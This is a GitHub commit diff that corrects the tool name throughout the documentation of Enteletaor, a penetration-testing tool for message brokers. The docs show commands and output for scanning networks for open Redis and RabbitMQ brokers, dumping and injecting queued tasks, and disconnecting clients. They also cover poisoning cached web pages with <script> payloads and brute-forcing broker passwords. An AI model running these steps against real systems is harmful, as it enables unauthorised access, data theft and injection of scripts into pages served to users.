Merge pull request #3 from finackieee/patch-1

This commit is contained in:
cr0hn
2016-06-15 21:09:26 +02:00
committed by GitHub
4 changed files with 86 additions and 86 deletions

View File

@@ -1,7 +1,7 @@
Advanced usage Advanced usage
============== ==============
Enteleteaor implements some attacks and has many options to interact with different brokers: Enteletaor implements some attacks and has many options to interact with different brokers:
- Redis - Redis
- RabbitMQ (of AMQP compabible) - RabbitMQ (of AMQP compabible)
@@ -18,7 +18,7 @@ There are the 3 kind actions implemented:
Scanner Scanner
------- -------
Enteleteaor implements a scanner that detects open brokers. The scanner is implemented in pure python, with no external dependecies, like ``nmap``. Enteletaor implements a scanner that detects open brokers. The scanner is implemented in pure python, with no external dependecies, like ``nmap``.
The reason to implement a native scanner is because in ``nmap`` v7 no all scripts that detects open services works. The reason to implement a native scanner is because in ``nmap`` v7 no all scripts that detects open services works.
@@ -31,16 +31,16 @@ Custom ports
As you can read in :doc:`quickstart` document, you can scan a single host or a network. Syntax is nmap-like. As you can read in :doc:`quickstart` document, you can scan a single host or a network. Syntax is nmap-like.
You can specify other ports that enteleteaor default, using ``-p`` option: You can specify other ports that enteletaor default, using ``-p`` option:
.. code-block:: bash .. code-block:: bash
# enteleteaor scan -t 10.10.0.10/16 -p 5550,5551 # enteletaor scan -t 10.10.0.10/16 -p 5550,5551
Parallel scanning Parallel scanning
+++++++++++++++++ +++++++++++++++++
By default, enteleteaor runs 20 concurrent scanning. Internally it's implemented with *greenlets* threads. It means that are not "real" Python threads. You can think about greenlets thread as a lightweight version of threads. By default, enteletaor runs 20 concurrent scanning. Internally it's implemented with *greenlets* threads. It means that are not "real" Python threads. You can think about greenlets thread as a lightweight version of threads.
I recommend to use 40 concurrent scanning threads. Don't worry for the overload of your system, green threads will made this possible without a hungry CPU process. I recommend to use 40 concurrent scanning threads. Don't worry for the overload of your system, green threads will made this possible without a hungry CPU process.
@@ -48,31 +48,31 @@ To change concurrency, we use ``-c`` option:
.. code-block:: bash .. code-block:: bash
# enteleteaor scan -t 10.10.0.10/24 -c 40 # enteletaor scan -t 10.10.0.10/24 -c 40
Saving results Saving results
++++++++++++++ ++++++++++++++
Enteleteaor can export scan results as a JSON format, using ``--output`` option: Enteletaor can export scan results as a JSON format, using ``--output`` option:
.. code-block:: bash .. code-block:: bash
# enteleteaor scan -t 10.10.0.10 --output results # enteletaor scan -t 10.10.0.10 --output results
Or: Or:
.. code-block:: bash .. code-block:: bash
# enteleteaor scan -t 10.10.0.10 --output results.json # enteletaor scan -t 10.10.0.10 --output results.json
.. note:: .. note::
If you don't indicate the file extension, enteleteaor will add it for you. If you don't indicate the file extension, enteletaor will add it for you.
Company lookup Company lookup
++++++++++++++ ++++++++++++++
This is a bit strange option. Typing ``-o`` enteleteaor will try to lookup the company name in RIPE and get all IP ranges registered for it, adding then to scanner. This is a bit strange option. Typing ``-o`` enteletaor will try to lookup the company name in RIPE and get all IP ranges registered for it, adding then to scanner.
For example, if you try to get scan ``google.com`` it will 1465 new host: For example, if you try to get scan ``google.com`` it will 1465 new host:
@@ -130,11 +130,11 @@ Listing remote tasks
Basic usage Basic usage
___________ ___________
If there are pending tasks in broker queue, we can analyze them. Enteleteaor allow us to list all tasks found. Although there is more than one task of each type in queue, only the task definition is displayed: If there are pending tasks in broker queue, we can analyze them. Enteletaor allow us to list all tasks found. Although there is more than one task of each type in queue, only the task definition is displayed:
.. code-block:: bash .. code-block:: bash
# enteleteaor -v tasks list-tasks -t 10.10.0.10 # enteletaor -v tasks list-tasks -t 10.10.0.10
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Trying to connect with server... [ * ] - Trying to connect with server...
[ * ] - Remote process found: [ * ] - Remote process found:
@@ -150,7 +150,7 @@ We can see that broker has 2 task definition stored:
Export Template Export Template
_______________ _______________
Enteleteaor also permit inject new tasks to broker (see bellow). The way to inject them is to pass as input a JSON file with the information. Write this file must be a bit hard. To help us, enteleteaor can export a template. Enteletaor also permit inject new tasks to broker (see bellow). The way to inject them is to pass as input a JSON file with the information. Write this file must be a bit hard. To help us, enteletaor can export a template.
With this template, we only must fill the appropriate fields: With this template, we only must fill the appropriate fields:
@@ -158,7 +158,7 @@ With this template, we only must fill the appropriate fields:
:linenos: :linenos:
:emphasize-lines: 8 :emphasize-lines: 8
# enteleteaor -v tasks list-task -t 10.10.0.10 -T my_template -F tasks.send_mail # enteletaor -v tasks list-task -t 10.10.0.10 -T my_template -F tasks.send_mail
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Trying to connect with server... [ * ] - Trying to connect with server...
[ * ] - Remote process found: [ * ] - Remote process found:
@@ -180,7 +180,7 @@ We also can remove **all** pending task from the broker queue. It's so simple:
.. code-block:: bash .. code-block:: bash
# enteleteaor tasks remove -t 10.10.0.10 # enteletaor tasks remove -t 10.10.0.10
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Trying to connect with server... [ * ] - Trying to connect with server...
[ * ] - All tasks removed from '10.10.0.10' [ * ] - All tasks removed from '10.10.0.10'
@@ -196,7 +196,7 @@ We can dump the content of tasks simply using ``raw-dump` sub-command:
.. code-block:: bash .. code-block:: bash
# enteleteaor tasks raw-dump -t 10.10.0.10 # enteletaor tasks raw-dump -t 10.10.0.10
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Trying to connect with server... [ * ] - Trying to connect with server...
[ * ] Found process information: [ * ] Found process information:
@@ -228,13 +228,13 @@ We can dump the content of tasks simply using ``raw-dump` sub-command:
Streaming mode Streaming mode
______________ ______________
Some times we could want listen new messages available in broker in real time . If we use ``--streaming`` option, enteleteaor will wait for new messages: Some times we could want listen new messages available in broker in real time . If we use ``--streaming`` option, enteletaor will wait for new messages:
.. code-block:: bash .. code-block:: bash
:linenos: :linenos:
:emphasize-lines: 17-20 :emphasize-lines: 17-20
# enteleteaor tasks raw-dump -t 10.10.0.10 --streaming # enteletaor tasks raw-dump -t 10.10.0.10 --streaming
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Trying to connect with server... [ * ] - Trying to connect with server...
[ * ] Found process information: [ * ] Found process information:
@@ -260,13 +260,13 @@ ___________
We can export results to CSV file using ``--output`` option. The reason to choose this format is because it permit real-time reading. In other words: We can export results to CSV file using ``--output`` option. The reason to choose this format is because it permit real-time reading. In other words:
Imagine you want to put enteleteaor in streaming mode and, at the same time, put another process to read the information from export file, CSV allow this because each line is independent of others. Imagine you want to put enteletaor in streaming mode and, at the same time, put another process to read the information from export file, CSV allow this because each line is independent of others.
Enteleteaor writes in CSV as *append* mode, so it will not overwriting old file content: Enteletaor writes in CSV as *append* mode, so it will not overwriting old file content:
.. code-block:: bash .. code-block:: bash
# enteleteaor tasks raw-dump -t 10.10.0.10 --streaming --output dumped_server_file # enteletaor tasks raw-dump -t 10.10.0.10 --streaming --output dumped_server_file
And, in other console, we can write: And, in other console, we can write:
@@ -276,12 +276,12 @@ And, in other console, we can write:
.. note:: .. note::
If not extension provided, enteleteaor automatically add .csv If not extension provided, enteletaor automatically add .csv
Inject new tasks Inject new tasks
++++++++++++++++ ++++++++++++++++
Finally, enteleteaor permit us to inject new tasks to the broker flow. The injection only accept one parameter: ``-f`` (``--function-file``). Finally, enteletaor permit us to inject new tasks to the broker flow. The injection only accept one parameter: ``-f`` (``--function-file``).
This parameter need a JSON as input file with the function parameters. Do you remember `Export template`_ option of the list-tasks sub-command? This parameter need a JSON as input file with the function parameters. Do you remember `Export template`_ option of the list-tasks sub-command?
@@ -289,7 +289,7 @@ One we have the JSON file, we can inject the new process:
.. code-block:: bash .. code-block:: bash
# enteleteaor tasks inject -f my_template.json # enteletaor tasks inject -f my_template.json
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Building process... [ * ] - Building process...
[ * ] - Trying to connect with server... [ * ] - Trying to connect with server...
@@ -334,7 +334,7 @@ This command need as input the client to disconnect. Client must be as format: I
:linenos: :linenos:
:emphasize-lines: 7,13 :emphasize-lines: 7,13
# enteleteaor redis connected -t 10.10.0.10 # enteletaor redis connected -t 10.10.0.10
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] Connected users to '10.10.0.10': [ * ] Connected users to '10.10.0.10':
[ * ] - 10.10.0.2:52748 (DB: 0) [ * ] - 10.10.0.2:52748 (DB: 0)
@@ -344,7 +344,7 @@ This command need as input the client to disconnect. Client must be as format: I
[ * ] - 10.10.0.2:51200 (DB: 0) [ * ] - 10.10.0.2:51200 (DB: 0)
[ * ] Done! [ * ] Done!
# enteleteaor redis disconnect -t 10.10.0.10 -c 127.0.0.1:42262 # enteletaor redis disconnect -t 10.10.0.10 -c 127.0.0.1:42262
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Client '127.0.0.1:42264' was disconnected [ * ] - Client '127.0.0.1:42264' was disconnected
[ * ] Done! [ * ] Done!
@@ -352,11 +352,11 @@ This command need as input the client to disconnect. Client must be as format: I
Disconnect all users Disconnect all users
____________________ ____________________
If you want to disconnect all connected users, enteleteaor has the shortcut ``--all``: If you want to disconnect all connected users, enteletaor has the shortcut ``--all``:
.. code-block:: bash .. code-block:: bash
# enteleteaor redis disconnect -t 10.10.0.10 --all # enteletaor redis disconnect -t 10.10.0.10 --all
Discovering DBs Discovering DBs
+++++++++++++++ +++++++++++++++
@@ -365,7 +365,7 @@ By default Redis has 16 databases, but you can add as many as you need. If the d
.. code-block:: bash .. code-block:: bash
# enteleteaor redis discover-dbs -t 10.10.0.10 # enteletaor redis discover-dbs -t 10.10.0.10
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] Discovered '10.10.0.10' DBs at '16': [ * ] Discovered '10.10.0.10' DBs at '16':
[ * ] - DB0 - 4 keys [ * ] - DB0 - 4 keys
@@ -397,7 +397,7 @@ One of more interesting thing is display information stored in redis and has the
.. code-block:: bash .. code-block:: bash
# enteleteaor redis dump -t 10.10.0.10 # enteletaor redis dump -t 10.10.0.10
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Trying to connect with redis server... [ * ] - Trying to connect with redis server...
[ * ] "b'unacked'": [ * ] "b'unacked'":
@@ -455,7 +455,7 @@ Don't worry if above console output is a bit heavy, we can export results to a J
.. code-block:: bash .. code-block:: bash
# enteleteaor redis dump -t 10.10.0.10 -e dumped_info # enteletaor redis dump -t 10.10.0.10 -e dumped_info
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Trying to connect with redis server... [ * ] - Trying to connect with redis server...
[ * ] - Storing information into 'results.json' [ * ] - Storing information into 'results.json'
@@ -509,7 +509,7 @@ Don't worry if above console output is a bit heavy, we can export results to a J
.. note:: .. note::
We don't need to put the extension .json to file. If extension is missing, enteleteaor will add it. We don't need to put the extension .json to file. If extension is missing, enteletaor will add it.
Hide screen output Hide screen output
__________________ __________________
@@ -518,7 +518,7 @@ If you don't want to display information into screen (useful when Redis contains
.. code-block:: bash .. code-block:: bash
# enteleteaor redis dump -t 10.10.0.10 -e dumped_info --no-screen # enteletaor redis dump -t 10.10.0.10 -e dumped_info --no-screen
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Trying to connect with redis server... [ * ] - Trying to connect with redis server...
[ * ] - Storing information into 'results.json' [ * ] - Storing information into 'results.json'
@@ -532,11 +532,11 @@ Redis is commonly used as a centralized cache system. We can handle this cache s
Finding cache keys Finding cache keys
__________________ __________________
First step is find possible cache keys in Redis. Enteleteaor has the option ``--search`` that will try to find this keys: First step is find possible cache keys in Redis. Enteletaor has the option ``--search`` that will try to find this keys:
.. code-block:: bash .. code-block:: bash
# enteleteaor redis cache -t 10.10.0.10 # enteletaor redis cache -t 10.10.0.10
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] Looking for caches in '10.10.0.10'... [ * ] Looking for caches in '10.10.0.10'...
[ * ] - Possible cache found in key: 'flask_cache_view//' [ * ] - Possible cache found in key: 'flask_cache_view//'
@@ -549,7 +549,7 @@ If we want to dump, as raw-way, possible cache keys (not only locate) we omit th
.. code-block:: bash .. code-block:: bash
# enteleteaor redis cache -t 10.10.0.10 # enteletaor redis cache -t 10.10.0.10
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Listing cache information: [ * ] - Listing cache information:
[ * ] -> Key: 'flask_cache_view//' [ * ] -> Key: 'flask_cache_view//'
@@ -579,7 +579,7 @@ We can dump only an specific key:
.. code-block:: bash .. code-block:: bash
# enteleteaor redis cache -t 10.10.0.10 --cache-key "flask_cache_view//" # enteletaor redis cache -t 10.10.0.10 --cache-key "flask_cache_view//"
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Listing cache information: [ * ] - Listing cache information:
[ * ] -> Key: 'flask_cache_view//' [ * ] -> Key: 'flask_cache_view//'
@@ -605,13 +605,13 @@ We can dump only an specific key:
Basic cache poisoning Basic cache poisoning
_____________________ _____________________
Enteleteaor permit us to poison the cache. To enable the cache poisoning we need to enable it with option ``-P``. Enteletaor permit us to poison the cache. To enable the cache poisoning we need to enable it with option ``-P``.
By default, enteleteaor will try to inject an HTML <script> tag with an alert message: "You are vulnerable to broker injection". By default, enteletaor will try to inject an HTML <script> tag with an alert message: "You are vulnerable to broker injection".
.. code-block:: bash .. code-block:: bash
# enteleteaor redis cache -P -t 10.10.0.1 # enteletaor redis cache -P -t 10.10.0.1
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Trying to connect with redis server... [ * ] - Trying to connect with redis server...
[ * ] - Poisoning enabled [ * ] - Poisoning enabled
@@ -629,7 +629,7 @@ Using ``--payload`` option. This option need a file with the script:
.. code-block:: bash .. code-block:: bash
# enteleteaor redis cache -P -t 10.10.0.10 --payload "<script>document.write('Say cheeeeers')</script>" # enteletaor redis cache -P -t 10.10.0.10 --payload "<script>document.write('Say cheeeeers')</script>"
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Poisoning enabled [ * ] - Poisoning enabled
[ * ] - Poisoned cache key 'b'flask_cache_view//'' at server '10.10.0.10' [ * ] - Poisoned cache key 'b'flask_cache_view//'' at server '10.10.0.10'
@@ -640,7 +640,7 @@ Using ``--payload`` option. This option need a file with the script:
.. code-block:: bash .. code-block:: bash
# echo "<script>document.write('Say cheeeeers')</script>" > my_payload.txt # echo "<script>document.write('Say cheeeeers')</script>" > my_payload.txt
# enteleteaor redis cache -P -t 10.10.0.10 --file-payload my_payload.txt # enteletaor redis cache -P -t 10.10.0.10 --file-payload my_payload.txt
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Poisoning enabled [ * ] - Poisoning enabled
[ * ] - Poisoned cache key 'b'flask_cache_view//'' at server '10.10.0.10' [ * ] - Poisoned cache key 'b'flask_cache_view//'' at server '10.10.0.10'
@@ -654,7 +654,7 @@ Finally, we can replace entire content of cache key using option ``--replace-htm
.. code-block:: bash .. code-block:: bash
# echo "<html><head><title>Replaced content</title></head><body><h1>Say cheeeeers again :)</h1></body></html>" > new_html.html # echo "<html><head><title>Replaced content</title></head><body><h1>Say cheeeeers again :)</h1></body></html>" > new_html.html
# enteleteaor redis cache -P -t 10.10.0.10 --replace-html new_html.html # enteletaor redis cache -P -t 10.10.0.10 --replace-html new_html.html
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Poisoning enabled [ * ] - Poisoning enabled
[ * ] - Poisoned cache key 'flask_cache_view//' at server '10.10.0.10' [ * ] - Poisoned cache key 'flask_cache_view//' at server '10.10.0.10'
@@ -667,11 +667,11 @@ Password brute forcer
Listing wordlist Listing wordlist
++++++++++++++++ ++++++++++++++++
Enteleteaor has some wordlist embedded. If you want to show them, you must write: Enteletaor has some wordlist embedded. If you want to show them, you must write:
.. code-block:: bash .. code-block:: bash
# enteleteaor brute wordlist # enteletaor brute wordlist
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Available wordlists: [ * ] - Available wordlists:
[ * ] > 10_million_password_list_top_100 [ * ] > 10_million_password_list_top_100
@@ -685,16 +685,16 @@ The wordlist names could be used as input for the password module.
Discovering passwords Discovering passwords
+++++++++++++++++++++ +++++++++++++++++++++
We can try to discover remote passwords using enteleteaor. To do this, we need a wordlist with passwords that we want to test. If we don't have any wordlist we can use one of embedded. We can try to discover remote passwords using enteletaor. To do this, we need a wordlist with passwords that we want to test. If we don't have any wordlist we can use one of embedded.
Basic usage Basic usage
___________ ___________
Using default options, enteleteaor se the wordlist ``10_million_password_list_top_1000``. Using default options, enteletaor se the wordlist ``10_million_password_list_top_1000``.
.. code-block:: bash .. code-block:: bash
# enteleteaor brute password -t 10.10.0.10 # enteletaor brute password -t 10.10.0.10
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Detected 'Redis' server with 'auth'. [ * ] - Detected 'Redis' server with 'auth'.
[ * ] - Starting bruteforcer using wordlist : '/Users/Dani/Documents/Projects/enteletaor/enteletaor_lib/resources/wordlist/10_million_password_list_top_1000.txt' [ * ] - Starting bruteforcer using wordlist : '/Users/Dani/Documents/Projects/enteletaor/enteletaor_lib/resources/wordlist/10_million_password_list_top_1000.txt'
@@ -711,13 +711,13 @@ We can set an external wordlist, with the option ``-w``.
.. code-block:: bash .. code-block:: bash
# enteleteaor brute password -t 10.10.0.10 -w /home/user/my_wordlist.txt # enteletaor brute password -t 10.10.0.10 -w /home/user/my_wordlist.txt
Or use a different embedded: Or use a different embedded:
.. code-block:: bash .. code-block:: bash
# enteleteaor brute password -t 10.10.0.10 -w 10_million_password_list_top_100000 # enteletaor brute password -t 10.10.0.10 -w 10_million_password_list_top_100000
Setting concurrency Setting concurrency
___________________ ___________________
@@ -726,16 +726,16 @@ We also can specify the number os concurrent test we want to do, using option ``
.. code-block:: bash .. code-block:: bash
# enteleteaor brute password -t 10.10.0.10 -w 10_million_password_list_top_100000 -c 20 # enteletaor brute password -t 10.10.0.10 -w 10_million_password_list_top_100000 -c 20
Setting remote user Setting remote user
___________________ ___________________
Currently enteleteaor doesn't support brute forcer for users, so for servers that need user/password we must set the **user**, using option ``-u``: Currently enteletaor doesn't support brute forcer for users, so for servers that need user/password we must set the **user**, using option ``-u``:
.. code-block:: bash .. code-block:: bash
# enteleteaor brute password -t 10.10.0.10 -p 5672 -u admin # enteletaor brute password -t 10.10.0.10 -p 5672 -u admin
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Detected 'RabbitMQ' server with 'auth'. [ * ] - Detected 'RabbitMQ' server with 'auth'.
[ * ] - Set user to 'admin' [ * ] - Set user to 'admin'

View File

@@ -26,7 +26,7 @@ Enteletaor is a message Queue & Broker Injection tool.
Quick project description Quick project description
------------------------- -------------------------
Enteleteaor is a tool that can handle information from open brokers. Enteletaor is a tool that can handle information from open brokers.
Some of the actions you can do: Some of the actions you can do:

View File

@@ -31,7 +31,7 @@ Python 2 only
Installation from PIP (recommended) Installation from PIP (recommended)
----------------------------------- -----------------------------------
The easiest way to install enteleteaor is from Pypi. To do this, only run: The easiest way to install enteletaor is from Pypi. To do this, only run:
Python 2 Python 2
++++++++ ++++++++
@@ -47,21 +47,21 @@ Python 3
# python3 -m pip install enteletaor # python3 -m pip install enteletaor
Then run enteleteaor writing: Then run enteletaor writing:
.. code-block:: bash .. code-block:: bash
# enteleteaor -h # enteletaor -h
or, in Python 3: or, in Python 3:
.. code-block:: bash .. code-block:: bash
# enteleteaor3 -h # enteletaor3 -h
.. note:: .. note::
Remember that, if you install enteleteaor in **Python 3** executable will be called **enteletaor3** -> ending in **3**. Remember that, if you install enteletaor in **Python 3** executable will be called **enteletaor3** -> ending in **3**.
If you install in **Python 2** executable will be **enteletaor**, without 3. If you install in **Python 2** executable will be **enteletaor**, without 3.
@@ -72,7 +72,7 @@ Also, you can download source code from github using git:
.. code-block:: bash .. code-block:: bash
git clone https://github.com/cr0hn/enteleteaor.git enteleteaor git clone https://github.com/cr0hn/enteletaor.git enteletaor
Next you need to install dependencies from ``requirements.txt``: Next you need to install dependencies from ``requirements.txt``:
@@ -82,12 +82,12 @@ Next you need to install dependencies from ``requirements.txt``:
.. note:: .. note::
If you're not running enteleteaor in a virtualenv, probably you need to be root to install requirements. So, you can use ``sudo`` command. If you're not running enteletaor in a virtualenv, probably you need to be root to install requirements. So, you can use ``sudo`` command.
Finally you can run enteleteaor: Finally you can run enteletaor:
.. code-block:: bash .. code-block:: bash
# cd enteleteaor_lib # cd enteletaor_lib
# python enteleteaor.py -h # python enteletaor.py -h

View File

@@ -1,18 +1,18 @@
Quick Start Quick Start
=========== ===========
Enteleteaor have 3 super commands available: Enteletaor have 3 super commands available:
- scan: Discover open brokers. - scan: Discover open brokers.
- tasks: handle remote tasks. - tasks: handle remote tasks.
- redis: specific actions for Redis server. - redis: specific actions for Redis server.
This document contains an overview of enteleteaor with some examples for each super commands. If you want learn more visit the :doc:`advanced`. This document contains an overview of enteletaor with some examples for each super commands. If you want learn more visit the :doc:`advanced`.
Python versions Python versions
--------------- ---------------
Enteleteaor can run in Python 2.7.x and 3.x. Python 3 is recommended, but you can use python 2.7 without problem. Enteletaor can run in Python 2.7.x and 3.x. Python 3 is recommended, but you can use python 2.7 without problem.
Getting help Getting help
------------ ------------
@@ -23,7 +23,7 @@ Super commands ``tasks`` and ``redis`` has many sub-options, you can get help us
:linenos: :linenos:
:emphasize-lines: 9-14 :emphasize-lines: 9-14
# enteleteaor scan -h # enteletaor scan -h
usage: enteletaor.py redis [-h] usage: enteletaor.py redis [-h]
{info,disconnect,dump,cache,discover-dbs,connected} {info,disconnect,dump,cache,discover-dbs,connected}
... ...
@@ -45,19 +45,19 @@ Super commands ``tasks`` and ``redis`` has many sub-options, you can get help us
Setting verbosity level Setting verbosity level
----------------------- -----------------------
Enteleteaor has 5 verbosity levels. You can modify level adding ``-v`` to command line: Enteletaor has 5 verbosity levels. You can modify level adding ``-v`` to command line:
.. code-block:: bash .. code-block:: bash
# enteleteaor -v scan -t 10.10.0.10 # enteletaor -v scan -t 10.10.0.10
# enteleteaor -vvvv scan -t 10.10.0.10 # enteletaor -vvvv scan -t 10.10.0.10
.. note:: .. note::
Be careful to put ``-v`` between enteleteaor and top action: Be careful to put ``-v`` between enteletaor and top action:
- enteleteaor -vv scan ... -> **GOOD** - enteletaor -vv scan ... -> **GOOD**
- enteleteaor scan -vv ... -> **BAD** - enteletaor scan -vv ... -> **BAD**
Quick scan Quick scan
---------- ----------
@@ -66,7 +66,7 @@ You can try to discover if some host has open brokers running running:
.. code-block:: bash .. code-block:: bash
# enteleteaor -v scan -t 10.10.0.10 # enteletaor -v scan -t 10.10.0.10
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Number of targets to analyze: 1 [ * ] - Number of targets to analyze: 1
[ * ] - Starting scan [ * ] - Starting scan
@@ -85,7 +85,7 @@ Also we can analyze an entire network:
.. code-block:: bash .. code-block:: bash
# enteleteaor scan -t 10.10.0.10/24 # enteletaor scan -t 10.10.0.10/24
Remote tasks Remote tasks
@@ -94,17 +94,17 @@ Remote tasks
Listing remote tasks Listing remote tasks
++++++++++++++++++++ ++++++++++++++++++++
With enteleteaor you can handle remote tasks, for example, you can list pending tasks doing: With enteletaor you can handle remote tasks, for example, you can list pending tasks doing:
.. code-block:: bash .. code-block:: bash
# enteleteaor -v tasks list-tasks -t 10.10.0.10 # enteletaor -v tasks list-tasks -t 10.10.0.10
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Remote process found: [ * ] - Remote process found:
[ * ] -> tasks.send_mail (param_0:str, param_1:str, param_2:str) [ * ] -> tasks.send_mail (param_0:str, param_1:str, param_2:str)
[ * ] Done! [ * ] Done!
Enteleteaor is telling us that it has discovered a task, called ``tasks.send_mail`` with 3 parameters, and the type of parameter by their position. Enteletaor is telling us that it has discovered a task, called ``tasks.send_mail`` with 3 parameters, and the type of parameter by their position.
.. note:: .. note::
@@ -132,13 +132,13 @@ This task can match with this programing function, i.e:
Dumping tasks content Dumping tasks content
+++++++++++++++++++++ +++++++++++++++++++++
Enteleteaor not only permit us listing remote tasks, it also can dump their content: Enteletaor not only permit us listing remote tasks, it also can dump their content:
.. code-block:: bash .. code-block:: bash
:linenos: :linenos:
:emphasize-lines: 6-8,12-14,18-20 :emphasize-lines: 6-8,12-14,18-20
# enteleteaor tasks raw-dump -t 10.10.0.10 # enteletaor tasks raw-dump -t 10.10.0.10
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] Found process information: [ * ] Found process information:
[ * ] - Remote process name: 'tasks.send_mail' [ * ] - Remote process name: 'tasks.send_mail'
@@ -173,7 +173,7 @@ If you want list remote Redis server information, only type:
.. code-block:: bash .. code-block:: bash
# enteleteaor redis info -t 10.10.0.10 # enteletaor redis info -t 10.10.0.10
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] Config for server '10.10.0.10': [ * ] Config for server '10.10.0.10':
[ * ] - appendonly: no [ * ] - appendonly: no
@@ -192,7 +192,7 @@ We can also list all connected users to Redis server. A user could be a web appl
.. code-block:: bash .. code-block:: bash
# enteleteaor redis connected -t 10.10.0.10 # enteletaor redis connected -t 10.10.0.10
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] Connected users to '10.10.0.10': [ * ] Connected users to '10.10.0.10':
[ * ] - 10.10.0.2:52748 (DB: 0) [ * ] - 10.10.0.2:52748 (DB: 0)
@@ -211,7 +211,7 @@ Enteletaor has a module to help us to recover passwords for remote servers. Usag
.. code-block:: bash .. code-block:: bash
# enteleteaor brute password -t 10.10.0.10 # enteletaor brute password -t 10.10.0.10
[ * ] Starting Enteletaor execution [ * ] Starting Enteletaor execution
[ * ] - Detected 'Redis' server with 'auth'. [ * ] - Detected 'Redis' server with 'auth'.
[ * ] - Starting bruteforcer using wordlist : '/Users/Dani/Documents/Projects/enteletaor/enteletaor_lib/resources/wordlist/10_million_password_list_top_1000.txt' [ * ] - Starting bruteforcer using wordlist : '/Users/Dani/Documents/Projects/enteletaor/enteletaor_lib/resources/wordlist/10_million_password_list_top_1000.txt'